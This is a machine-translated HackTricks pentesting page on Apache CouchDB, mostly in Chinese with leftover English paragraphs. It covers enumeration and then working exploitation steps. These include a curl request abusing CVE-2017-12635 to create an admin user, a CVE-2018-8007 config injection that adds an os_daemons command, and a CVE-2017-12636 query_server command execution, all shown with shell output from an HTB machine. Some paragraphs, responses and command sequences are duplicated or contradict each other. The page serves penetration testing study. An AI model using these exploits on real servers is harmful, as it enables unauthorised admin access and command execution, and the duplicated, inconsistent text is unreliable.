hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2023-08-03 19:12:22 +00:00

24 KiB
Raw Blame History

5984,6984 - Pentesting CouchDB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

CouchDB是一个面向文档的数据库每个文档中的字段都以键值对的形式存储。字段可以是简单的键/值对、列表或映射。

存储在数据库中的每个文档都被赋予一个文档级别的唯一标识符(_id),以及对数据库进行的每个更改的修订(_rev)号。

默认端口: 5984http6984https

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

自动枚举

Automatic enumeration is the process of gathering information about a target system or network automatically, without manual intervention. This technique is commonly used in penetration testing to identify potential vulnerabilities and weaknesses.

自动枚举是一种自动收集目标系统或网络信息的过程,无需手动干预。这种技术通常用于渗透测试,以识别潜在的漏洞和弱点。

There are various tools and techniques available for automatic enumeration, including:

自动枚举有多种工具和技术可供选择,包括:

  • Port scanning: This involves scanning the target system or network to identify open ports and services running on those ports. Tools like Nmap can be used for this purpose.

  • 端口扫描这涉及扫描目标系统或网络以识别开放的端口和在这些端口上运行的服务。可以使用诸如Nmap之类的工具来实现此目的。

  • Service fingerprinting: This technique involves identifying the specific services running on the open ports. Tools like Bannergrab can be used to extract information from service banners.

  • 服务指纹识别这种技术涉及识别在开放端口上运行的特定服务。可以使用Bannergrab等工具从服务横幅中提取信息。

  • Vulnerability scanning: This involves scanning the target system or network for known vulnerabilities. Tools like OpenVAS and Nessus can be used for this purpose.

  • 漏洞扫描这涉及扫描目标系统或网络以查找已知的漏洞。可以使用OpenVAS和Nessus等工具来实现此目的。

  • Directory and file enumeration: This technique involves enumerating directories and files on the target system or network. Tools like Dirb and Dirbuster can be used for this purpose.

  • 目录和文件枚举这种技术涉及枚举目标系统或网络上的目录和文件。可以使用Dirb和Dirbuster等工具来实现此目的。

By automating the enumeration process, penetration testers can save time and effort while efficiently gathering information about the target system or network. This information can then be used to identify potential vulnerabilities and plan further exploitation.

通过自动化枚举过程,渗透测试人员可以节省时间和精力,同时高效地收集有关目标系统或网络的信息。然后可以利用这些信息来识别潜在的漏洞并计划进一步的利用。

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

横幅

在进行CouchDB渗透测试时首先要进行的是手动枚举。我们可以通过查看CouchDB的横幅信息来获取有关目标系统的一些基本信息。

使用以下命令来获取CouchDB的横幅信息

curl -X GET http://<target>:5984/

如果成功连接到CouchDB服务器您将收到一个包含有关CouchDB版本和其他相关信息的响应。这些信息对于后续的渗透测试非常有用。

curl http://IP:5984/

这将向已安装的CouchDB实例发出GET请求。回复应该类似于以下之一

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} 请注意如果访问couchdb的根目录您将收到401 Unauthorized的错误,类似于{"error":"unauthorized","reason":"Authentication required."},您将无法访问横幅或任何其他端点。 {% endhint %}

信息枚举

以下是您可以使用GET请求访问并提取一些有趣信息的端点。您可以在couchdb文档中找到更多端点和更详细的描述。

  • /_active_tasks 正在运行的任务列表包括任务类型、名称、状态和进程ID。
  • /_all_dbs 返回CouchDB实例中所有数据库的列表。
  • /_cluster_setup 返回节点或集群的状态,根据集群设置向导。
  • /_db_updates 返回CouchDB实例中所有数据库事件的列表。使用此端点需要_global_changes数据库的存在。
  • /_membership 显示作为cluster_nodes的集群中的节点。字段all_nodes显示此节点知道的所有节点,包括属于集群的节点。
  • /_scheduler/jobs 复制作业列表。每个作业描述都包括源和目标信息、复制ID、最近事件的历史记录和其他一些信息。
  • /_scheduler/docs 复制文档状态列表。包括有关所有文档的信息,甚至包括completedfailed状态。对于每个文档它返回文档ID、数据库、复制ID、源和目标以及其他信息。
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} 可以使用/_node/{node-name}端点来确认处理请求的服务器的Erlang节点名称。当访问/_node/_local以检索此信息时,这是最有用的。
  • /_node/{node-name}/_stats _stats资源返回一个包含运行服务器统计信息的JSON对象。字符串_local用作本地节点名称的别名因此对于所有统计URL可以将{node-name}替换为_local,以与本地节点的统计信息进行交互。
  • /_node/{node-name}/_system _system资源返回一个包含运行服务器各种系统级统计信息的JSON对象。您可以使用_local作为{node-name}来获取当前节点信息。
  • /_node/{node-name}/_restart
  • /_up 确认服务器正在运行并准备好响应请求。如果maintenance_modetruenolb该端点将返回404响应。
  • /_uuids 从CouchDB实例请求一个或多个通用唯一标识符UUID
  • /_reshard 返回已完成、失败、运行、停止和总作业的计数以及集群上的resharding状态。

可以根据此处的说明提取更多有趣的信息:https://lzone.de/cheat-sheet/CouchDB

数据库列表

curl -X GET http://IP:5984/_all_dbs

如果该请求返回401未经授权,那么您需要一些有效的凭据来访问数据库:

curl -X GET http://user:password@IP:5984/_all_dbs

为了找到有效的凭证,你可以尝试对服务进行暴力破解。

这是一个 CouchDB 响应的示例,当你拥有足够的权限来列出数据库时(它只是一个数据库列表):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

数据库信息

您可以通过访问数据库名称来获取一些数据库信息(例如文件数量和大小):

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

文档列表

列出数据库中的每个条目

GET /{database}/_all_docs

Example Response:

{
  "total_rows": 3,
  "offset": 0,
  "rows": [
    {
      "id": "doc1",
      "key": "doc1",
      "value": {
        "rev": "1-234567890abcdef"
      }
    },
    {
      "id": "doc2",
      "key": "doc2",
      "value": {
        "rev": "1-34567890abcdef"
      }
    },
    {
      "id": "doc3",
      "key": "doc3",
      "value": {
        "rev": "1-4567890abcdef"
      }
    }
  ]
}

示例响应:

{
  "total_rows": 3,
  "offset": 0,
  "rows": [
    {
      "id": "doc1",
      "key": "doc1",
      "value": {
        "rev": "1-234567890abcdef"
      }
    },
    {
      "id": "doc2",
      "key": "doc2",
      "value": {
        "rev": "1-34567890abcdef"
      }
    },
    {
      "id": "doc3",
      "key": "doc3",
      "value": {
        "rev": "1-4567890abcdef"
      }
    }
  ]
}
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

读取文档

读取数据库中文档的内容:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB特权提升 CVE-2017-12635

由于Erlang和JavaScript JSON解析器之间的差异您可以使用以下请求创建一个具有凭据hacktricks:hacktricks的管理员用户

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

有关此漏洞的更多信息请点击此处.

CouchDB远程命令执行RCE

在CouchDB文档的集群设置部分它讨论了CouchDB使用的不同端口

CouchDB在集群模式下使用端口5984,就像独立模式一样,但它还使用5986用于节点本地API。

Erlang使用TCP端口4369EPMD来查找其他节点因此所有服务器必须能够在此端口上相互通信。在Erlang集群中所有节点都连接到所有其他节点。一个网状结构。

然后有一个有趣的警告:

1536931232858

如果我们查看进程列表我们可以看到cookie"monster"

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

您可以阅读此部分以了解如何滥用Erlang的cookie以获取RCE 此外,您可以阅读一些Canape HTB机器的写作像这个,以了解和练习如何利用此漏洞**。

成功的CVE-2018-8007与local.ini写入权限

在撰写本文时我发现mdsec发布了CouchDB的一个新CVECVE-2018-8007。它还需要对local.ini文件进行写入因此对于Canape来说并不是一个有用的选项。但是既然我已经将其作为root用户设置为可写让我们看看是否可以使其工作。

从一个干净且现在可写的local.ini开始(并备份):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

我们可以使用curl命令修改local.ini文件中的源。这里的漏洞是如果我们使用curl命令放置一个新的源然后加上换行符我们可以写入其他内容包括一个新的头部和详细信息。因此我们将利用[os_daemons]字段并添加一个CouchDB尝试保持运行的进程

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

在根shell中我们可以看到有哪些更改

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

然而,该文件并不存在:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

如果我们查看带有“couchdb”的cmdline运行的进程我们不仅可以看到之前使用的cookie值的命令行还可以看到runsrv couchdb

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

如果我们杀掉该进程它会立即重新启动注意新的进程ID

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

并且,在重新启动时,运行操作系统守护进程:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

通过具有local.ini写权限的CVE-2017-12636成功尝试

CVE-2017-12636允许通过couchdb进程执行代码。然而在这个配置中它不起作用。

有一些参考的POC

我们需要编写一个新的query_server然后调用它。当Canape发布时大多数POC都是针对couchdb 1.x的但是这个盒子正在运行2.x所以大多数POC的query_servers路径不存在。现在已经改变了但我们将按照相同的步骤进行。首先获取版本并显示1.X路径不存在

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

更新为2.0的新路径:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

从那里我们应该添加一个query_server然后调用它但我们无法做到。

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

一些谷歌搜索显示这是一个权限问题。实际上如果我们使用root shell检查我们会发现local.ini文件不可写甚至不可被任何人写入更不用说www-data了

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

所以对于Canape来说这是个死胡同。但是如果我们想尝试让它工作我们可以使用我们的root或homer访问权限使其可读并继续沿着这条路径前进。我们将备份原始文件以便查看更改内容

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

现在回到我们的www-data shell

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

我们得到了cmd查询服务器的先前值这意味着成功。在root shell中我们可以看到它起作用了

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

现在我们应该能够创建一个数据库然后在该数据库中创建一个文档并使用一个将我们的query_server映射到执行的视图来请求它。

创建数据库和文档:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

在一个视图中请求它:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

摘要 使用不同的有效载荷

Shodan

  • port:5984 couchdb

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥